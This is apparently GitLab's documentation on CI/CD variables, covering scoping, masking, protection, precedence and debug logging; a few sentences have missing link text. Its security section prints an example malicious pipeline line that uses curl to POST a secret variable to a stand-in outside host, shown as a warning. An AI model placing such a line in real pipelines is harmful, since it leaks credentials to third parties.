GitLab CI/CD variables

CI/CD variables are a type of environment variable. You can use them to:

  • Control the behavior of jobs and pipelines.
  • Store values you want to re-use.
  • Avoid hard-coding values in your .gitlab-ci.yml file.

You can use predefined CI/CD variables or define custom:

note
Variables set in the GitLab UI are not passed down to service containers. To set them, assign them to variables in the UI, then re-assign them in your .gitlab-ci.yml:
variables:
  SA_PASSWORD: $SA_PASSWORD

For more information about advanced use of GitLab CI/CD:

Predefined CI/CD variables

GitLab CI/CD has a default set of predefined CI/CD variables you can use in pipelines configuration and job scripts.

Use predefined CI/CD variables

You can use predefined CI/CD variables in your .gitlab-ci.yml without declaring them first.

This example shows how to output a job’s stage by using the CI_JOB_STAGE predefined variable: 

test_variable:
  stage: test
  script:
    - echo "$CI_JOB_STAGE"

The script outputs the stage for the test_variable, which is test:

Output `$CI_JOB_STAGE`

Custom CI/CD variables

You can create custom CI/CD variables:

You can override variable values manually for a specific pipeline, or have them prefilled in manual pipelines.

There are two types of variables: File or Variable.

Variable names are limited by the shell the runner uses to execute scripts. Each shell has its own set of reserved variable names.

Make sure each variable is defined for the scope you want to use it in.

By default, pipelines from forked projects can’t access CI/CD variables in the parent project. If you run a merge request pipeline in the parent project for a merge request from a fork, all variables become available to the pipeline.

Create a custom CI/CD variable in the .gitlab-ci.yml file

To create a custom variable in the .gitlab-ci.yml file, define the variable and value with variables keyword.

You can use the variables keyword in a job or at the top level of the .gitlab-ci.yml file. If the variable is at the top level, it’s globally available and all jobs can use it. If it’s defined in a job, only that job can use it. 

variables:
  TEST_VAR: "All jobs can use this variable's value"

job1:
  variables:
    TEST_VAR_JOB: "Only job1 can use this variable's value"
  script:
    - echo "$TEST_VAR" and "$TEST_VAR_JOB"

Variables saved in the .gitlab-ci.yml file should store only non-sensitive project configuration, like a RAILS_ENV or DATABASE_URL variable. These variables are visible in the repository. Store sensitive variables containing secrets, keys, and so on in project settings.

Variables saved in the .gitlab-ci.yml file are also available in service containers.

If you don’t want globally defined variables to be available in a job, set variables to {}: 

job1:
  variables: {}
  script:
    - echo This job does not need any variables

Use the value and description keywords to define variables that are prefilled for manually-triggered pipelines.

Use variables in other variables

You can use variables inside other variables: 

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS"'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al'

Use the $ character in variables

If you do not want the $ character interpreted as the start of a variable, use $$ instead: 

job:
  variables:
    FLAGS: '-al'
    LS_CMD: 'ls "$FLAGS" $$TMP_DIR'
  script:
    - 'eval "$LS_CMD"'  # Executes 'ls -al $TMP_DIR'

Add a CI/CD variable to a project

You can add CI/CD variables to a project’s settings. Only project members with the Maintainer role can add or update project CI/CD variables. To keep a CI/CD variable secret, put it in the project settings, not in the .gitlab-ci.yml file.

To add or update variables in the project settings:

  1. Go to your project’s Settings > CI/CD and expand the Variables section.

  2. Select the Add Variable button and fill in the details:

    • Key: Must be one line, with no spaces, using only letters, numbers, or _.
    • Value: No limitations.
    • Type: File or Variable.
    • Environment scope: Optional. All, or specific environments.
    • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or tags.
    • Mask variable Optional. If selected, the variable’s Value is masked in job logs. The variable fails to save if the value does not meet the masking requirements.

After you create a variable, you can use it in the .gitlab-ci.yml file: 

test_variable:
  stage: test
  script:
    - echo "$CI_JOB_STAGE"  # calls a predefined variable
    - echo "$TEST"          # calls a custom variable of type `env_var`
    - echo "$GREETING"      # calls a custom variable of type `file` that contains the path to the temp file
    - cat "$GREETING"       # the temp file itself contains the variable value

The output is:

Output custom variable

Add a CI/CD variable to a group

Support for environment scopes

To make a CI/CD variable available to all projects in a group, define a group CI/CD variable.

Use group variables to store secrets like passwords, SSH keys, and credentials, if you:

To add a group variable:

  1. In the group, go to Settings > CI/CD.

  2. Select the Add Variable button and fill in the details:

    • Key: Must be one line, with no spaces, using only letters, numbers, or _.
    • Value: No limitations.
    • Type: File or Variable.
    • Environment scope Optional. All, or specific environments.
    • Protect variable Optional. If selected, the variable is only available in pipelines that run on protected branches or tags.
    • Mask variable Optional. If selected, the variable’s Value is masked in job logs. The variable fails to save if the value does not meet the masking requirements.

View all group-level variables available in a project

To view all the group-level variables available in a project:

  1. In the project, go to Settings > CI/CD.
  2. Expand the Variables section.

Variables from subgroups are recursively inherited.

CI/CD settings - inherited variables

Add a CI/CD variable to an instance

Version history

To make a CI/CD variable available to all projects and groups in a GitLab instance, add an instance CI/CD variable. You must have administrator access.

You can define instance variables via the UI or API.

To add an instance variable:

  1. On the top bar, select Menu > Admin.
  2. On the left sidebar, select Settings > CI/CD and expand the Variables section.

  3. Select the Add variable button, and fill in the details:

CI/CD variable types

All predefined CI/CD variables and variables defined in the .gitlab-ci.yml file are Variable type. Project, group and instance CI/CD variables can be Variable or File type.

Variable type variables:

Use File type CI/CD variables for tools that need a file as input.

File type variables:

  • Consist of a key, value and file.
  • Are made available in jobs as environment variables, with
    • The CI/CD variable key as the environment variable name.
    • The CI/CD variable value saved to a temporary file.
    • The path to the temporary file as the environment variable value.

Some tools like and kubectl use File type variables for configuration.

For example, if you have the following variables:

  • A variable of type Variable: KUBE_URL with the value https://example.com.
  • A variable of type File: KUBE_CA_PEM with a certificate as the value.

Use the variables in a job script like this: 

kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
caution
Be careful when assigning the value of a file variable to another variable. The other variable takes the content of the file as its value, not the path to the file. See

An alternative to File type variables is to:

  • Read the value of a CI/CD variable (variable type).
  • Save the value in a file.
  • Use that file in your script. 
# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file
cat "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem"
# Pass the newly created file to kubectl
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem"

Store multiple values in one variable

It is not possible to create a CI/CD variable that is an array of values, but you can use shell scripting techniques for similar behavior.

For example, you can store multiple variables separated by a space in a variable, then loop through the values with a script: 

job1:
  variables:
    FOLDERS: src test docs
  script:
    - |
      for FOLDER in $FOLDERS
        do
          echo "The path is root/${FOLDER}"
        done

Mask a CI/CD variable

You can mask a project, group, or instance CI/CD variable so the value of the variable does not display in job logs.

To mask a variable:

  1. In the project, group, or Admin Area, go to Settings > CI/CD.
  2. Expand the Variables section.
  3. Next to the variable you want to protect, select Edit.
  4. Select the Mask variable checkbox.
  5. Select Update variable.

The method used to mask variables limits what can be included in a masked variable. The value of the variable must:

caution
Due to a technical limitation, masked variables that are more than 4 KiB in length are not recommended. Printing such a large value to the trace log has the potential to be . When using GitLab Runner 14.2, only the tail of the variable, characters beyond 4KiB in length, have the potential to be revealed.

Protect a CI/CD variable

You can protect a project, group or instance CI/CD variable so it is only passed to pipelines running on protected branches or protected tags.

Merge request pipelines do not have access to protected variables. An To protect a variable:

  1. Go to Settings > CI/CD in the project, group or instance admin area.
  2. Expand the Variables section.
  3. Next to the variable you want to protect, select Edit.
  4. Select the Protect variable checkbox.
  5. Select Update variable.

The variable is available for all subsequent pipelines.

CI/CD variable security

Malicious code pushed to your .gitlab-ci.yml file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a protected branch or protected tag, malicious code can compromise protected variables.

Review all merge requests that introduce changes to the .gitlab-ci.yml file before you:

The following example shows malicious code in a .gitlab-ci.yml file: 

build:
  script:
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"

Variable values are encrypted using aes-256-cbc and stored in the database. This data can only be read and decrypted with a valid secrets file.

Custom variables validated by GitLab

Some variables are listed in the UI so you can choose them more quickly.

Variable Allowed Values Introduced in
AWS_ACCESS_KEY_ID Any 12.10
AWS_DEFAULT_REGION Any 12.10
AWS_SECRET_ACCESS_KEY Any 12.10
caution
When you store credentials, there are security implications. If you use AWS keys for example, follow the .

Use CI/CD variables in job scripts

All CI/CD variables are set as environment variables in the job’s environment. You can use variables in job scripts with the standard formatting for each environment’s shell.

To access environment variables, use the syntax for your runner executor’s shell.

Use variables with Bash, sh and similar

To access environment variables in Bash, sh, and similar shells, prefix the CI/CD variable with ($): 

job_name:
  script:
    - echo "$CI_JOB_ID"

Use variables with PowerShell

To access variables in a Windows PowerShell environment, including environment variables set by the system, prefix the variable name with ($env:) or ($): 

job_name:
  script:
    - echo $env:CI_JOB_ID
    - echo $CI_JOB_ID
    - echo $env:PATH

In environment variables must be surrounded by quotes to expand properly: 

job_name:
  script:
    - D:\\qislsf\\apache-ant-1.10.5\\bin\\ant.bat "-DsosposDailyUsr=$env:SOSPOS_DAILY_USR" portal_test

Use variables with Windows Batch

To access CI/CD variables in Windows Batch, surround the variable with %: 

job_name:
  script:
    - echo %CI_JOB_ID%

You can also surround the variable with ! for . Delayed expansion might be needed for variables that contain white spaces or newlines. 

job_name:
  script:
    - echo !ERROR_MESSAGE!

List all environment variables

You can list all environment variables available to a script with the export command in Bash or dir env: in PowerShell. This exposes the values of all available variables, which can be a security risk. Masked variables display as [masked].

For example: 

job_name:
  script:
    - export
    # - 'dir env:'  # Use this for PowerShell

Example job log output: 

export CI_JOB_ID="50"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"

Pass an environment variable to another job

Version history

You can pass environment variables from one job to another job in a later stage through variable inheritance. These variables cannot be used as CI/CD variables to configure a pipeline, but they can be used in job scripts.

  1. In the job script, save the variable as a .env file.
    • The format of the file must be one variable definition per line.
    • Each defined line must be of the form VARIABLE_NAME=ANY VALUE HERE.
    • Values can be wrapped in quotes, but cannot contain newline characters.
  2. Save the .env file as an artifacts:reports:dotenv artifact.
  3. Jobs in later stages can then use the variable in scripts.

Inherited variables take precedence over certain types of new variable definitions such as job defined variables. 

build:
  stage: build
  script:
    - echo "BUILD_VARIABLE=value_from_build_job" >> build.env
  artifacts:
    reports:
      dotenv: build.env

deploy:
  stage: deploy
  variables:
    BUILD_VARIABLE: value_from_deploy_job
  script:
    - echo "$BUILD_VARIABLE"  # Output is: 'value_from_build_job' due to precedence

The dependencies or needs keywords can be used to control which jobs receive inherited values.

To have no inherited dotenv environment variables, pass an empty dependencies or needs list, or pass needs:artifacts as false 

build:
  stage: build
  script:
    - echo "BUILD_VERSION=hello" >> build.env
  artifacts:
    reports:
      dotenv: build.env

deploy_one:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is: 'hello'
  dependencies:
    - build

deploy_two:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is empty
  dependencies: []

deploy_three:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is: 'hello'
  needs:
    - build

deploy_four:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is: 'hello'
  needs:
    job: build
    artifacts: true

deploy_five:
  stage: deploy
  script:
    - echo "$BUILD_VERSION"  # Output is empty
  needs:
    job: build
    artifacts: false

Multi-project pipelines can also inherit variables from their upstream pipelines.

CI/CD variable precedence

You can use CI/CD variables with the same name in different places, but the values can overwrite each other. The type of variable and where they are defined determines which variables take precedence.

The order of precedence for variables is (from highest to lowest):

  1. These all have the same (highest) precedence:
  2. Project variables.
  3. Group variables.
  4. Instance variables.
  5. Inherited variables.
  6. Variables defined in jobs in the .gitlab-ci.yml file.
  7. Variables defined outside of jobs (globally) in the .gitlab-ci.yml file.
  8. Deployment variables.
  9. Predefined variables.

In the following example, when the script in job1 executes, the value of API_TOKEN is secure. Variables defined in jobs have a higher precedence than variables defined globally. 

variables:
  API_TOKEN: "default"

job1:
  variables:
    API_TOKEN: "secure"
  script:
    - echo "The variable value is $API_TOKEN"

Override a defined CI/CD variable

You can override the value of a variable when you:

  1. Run a pipeline manually in the UI.
  2. Create a pipeline by using the API.
  3. Run a job manually in the UI.
  4. Use push options.
  5. Trigger a pipeline by using the API.
  6. Pass variables to a downstream pipeline by using the variable keyword or by using variable inheritance.

The pipeline variables declared in these events take priority over other variables.

Override a variable when running a pipeline manually

You can override the value of a CI/CD variable when you run a pipeline manually.

  1. Go to your project’s CI/CD > Pipelines and select Run pipeline.
  2. Choose the branch you want to run the pipeline for.
  3. Input the variable and its value in the UI.

Restrict who can override variables

You can grant permission to override variables to maintainers only. When other users try to run a pipeline with overridden variables, they receive the Insufficient permissions to set pipeline variables error message.

If you store your CI/CD configurations in a different repository, use this setting for control over the environment the pipeline runs in.

You can enable this feature by using the projects API to enable the restrict_user_defined_variables setting. The setting is disabled by default.

Limit the environment scope of a CI/CD variable

By default, all CI/CD variables are available to any job in a pipeline. Therefore, if a project uses a compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting the environment scope of a variable. GitLab does this by defining which environments and corresponding jobs the variable can be available for.

To learn more about scoping environments, see Scoping environments with specs.

To learn more about ensuring CI/CD variables are only exposed in pipelines running from protected branches or tags, see Protect a CI/CD Variable.

Deployment variables

Integrations that are responsible for deployment configuration can define their own variables that are set in the build environment. These variables are only defined for deployment jobs.

For example, the Kubernetes integration defines deployment variables that you can use with the integration.

The documentation for each integration explains if the integration has any deployment variables available.

Auto DevOps environment variables

You can configure Auto DevOps to pass CI/CD variables to a running application.

To make a CI/CD variable available as an environment variable in the running application’s container, prefix the variable key with K8S_SECRET_.

CI/CD variables with multi-line values are not supported.

Debug logging

Introduced in GitLab Runner 1.7.

caution
Debug logging can be a serious security risk. The output contains the content of all variables and other secrets available to the job. The output is uploaded to the GitLab server and visible in job logs.

You can use debug logging to help troubleshoot problems with pipeline configuration or job scripts. Debug logging exposes job execution details that are usually hidden by the runner and makes job logs more verbose. It also exposes all variables and secrets available to the job.

Before you enable debug logging, make sure only team members can view job logs. You should also delete job logs with debug output before you make logs public again.

Enable Debug logging

To enable debug logging (tracing), set the CI_DEBUG_TRACE variable to true: 

job_name:
  variables:
    CI_DEBUG_TRACE: "true"

Example output (truncated): 

...

Restrict access to debug logging

Version history

You can restrict access to debug logging. When restricted, only users with at least the Developer role can view job logs when debug logging is enabled with a variable in:

caution
If you add CI_DEBUG_TRACE as a local variable to runners, debug logs generate and are visible to all users with access to job logs. The permission levels are not checked by the runner, so you should only use the variable in GitLab itself.

Video walkthrough of a working example

The Managing the Complex Configuration Data Management Monster Using GitLab video is a walkthrough of the working example project. It explains how multiple levels of group CI/CD variables can be combined with environment-scoped project variables for complex configuration of application builds or deployments.

The example can be copied to your own group or instance for testing. More details on what other GitLab CI patterns are demonstrated are available at the project page.
